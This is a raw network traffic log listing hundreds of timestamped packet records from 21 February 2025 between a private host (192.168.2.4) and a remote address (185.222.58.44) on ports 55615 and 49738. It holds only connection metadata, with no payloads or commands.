Feb 21, 2025 19:26:44.898164988 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898173094 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898205996 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898214102 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898255110 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898263931 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898308992 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898317099 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898364067 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898372889 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898411036 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898418903 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898432970 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898442030 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898492098 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898499966 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898550987 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898559093 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898580074 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898587942 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898603916 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898612022 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898677111 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898684978 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898747921 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898756027 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898787975 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898796082 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898847103 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898854971 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898886919 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898895025 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898921013 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898930073 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898940086 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.898947954 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899013042 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899022102 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899071932 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899080992 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899096012 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899104118 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899147034 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899156094 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899190903 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899199963 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899246931 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899255991 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899343967 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899353027 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899360895 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899369955 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899379015 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899394989 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899403095 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899410963 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899445057 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899454117 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899499893 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899507999 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899544001 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899552107 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899580956 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899595022 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899614096 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899621964 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899636984 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899645090 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899696112 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899703979 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899720907 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899748087 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899840117 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899847984 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899879932 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899888039 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899924040 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899931908 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899972916 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899981976 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.899996996 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900005102 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900037050 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900046110 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900089979 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900098085 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900130987 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900139093 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900146961 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900182962 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900269032 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900279045 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900311947 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900365114 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900373936 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900408983 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900418043 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900432110 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900439978 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900515079 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900522947 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900572062 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.900579929 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.947518110 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.912023067 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.921417952 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.921736002 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922384977 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922437906 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922492027 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922544003 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922596931 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922668934 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922719955 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922763109 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922812939 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922863960 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922909975 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.922976017 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923018932 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923074007 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923120022 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923177004 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923223019 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923280954 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923291922 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923338890 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923394918 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.923429012 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.926532984 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.926814079 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.926839113 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.926881075 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.926918983 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.926959038 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.926981926 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927002907 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927025080 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927037001 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927046061 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927066088 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927071095 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927088976 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927093029 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927114010 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927138090 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927139997 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927164078 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927186966 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927197933 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927208900 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927232027 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927251101 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927252054 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927273989 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927288055 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927295923 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927309990 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927335024 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927336931 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.927360058 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927403927 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927426100 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927447081 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927468061 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927489042 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927510023 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927531004 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927552938 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927572966 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927593946 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927613974 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927634954 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927675962 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927696943 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927719116 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927740097 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927761078 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927781105 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927802086 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927823067 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927844048 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927864075 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927885056 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927906036 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927927017 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927947044 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.927985907 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928008080 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928029060 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928050041 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928071022 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928091049 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928112030 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928132057 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928153038 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928173065 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928194046 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928214073 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928234100 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928260088 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928282022 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928302050 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928323030 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928360939 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928381920 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928402901 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928422928 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928445101 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928466082 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928487062 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928508043 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928529024 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928550005 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928570986 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928591013 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928611040 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928632021 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928652048 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928672075 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928693056 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928714991 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928755045 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928776026 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928797007 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928817034 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928838015 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928858042 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928879023 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928900003 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928920031 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928941011 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928961039 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.928982019 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929003000 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929023027 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929043055 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929064035 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929085016 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929105043 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929126024 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929163933 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929184914 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929205894 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929227114 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929246902 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929267883 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929287910 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929308891 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929328918 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929349899 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929369926 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929389954 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929410934 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929430962 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929450989 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929472923 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929491997 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929512978 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929533958 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929572105 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929593086 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929614067 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929635048 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929656029 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929676056 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929697037 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929718018 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929738998 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929759979 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929780006 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929800034 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929821014 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929841042 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929862022 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929882050 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929902077 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929923058 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929961920 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.929984093 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930003881 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930025101 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930046082 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930066109 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930087090 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930107117 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930126905 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930147886 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930167913 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930188894 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930208921 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930228949 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930249929 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930269957 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930325031 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930346966 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930367947 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930387974 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930408955 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930429935 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930449963 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930470943 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930510044 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930531979 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930553913 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930574894 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930596113 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930617094 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930638075 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930660009 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930701017 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930725098 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930746078 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930766106 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930788040 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930809021 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930829048 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930850029 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930870056 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930891037 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930931091 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930952072 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930973053 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.930993080 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931014061 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931034088 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931055069 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931075096 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931094885 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931116104 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931135893 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931155920 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.931195974 CET	55615	49738	185.222.58.44	192.168.2.4
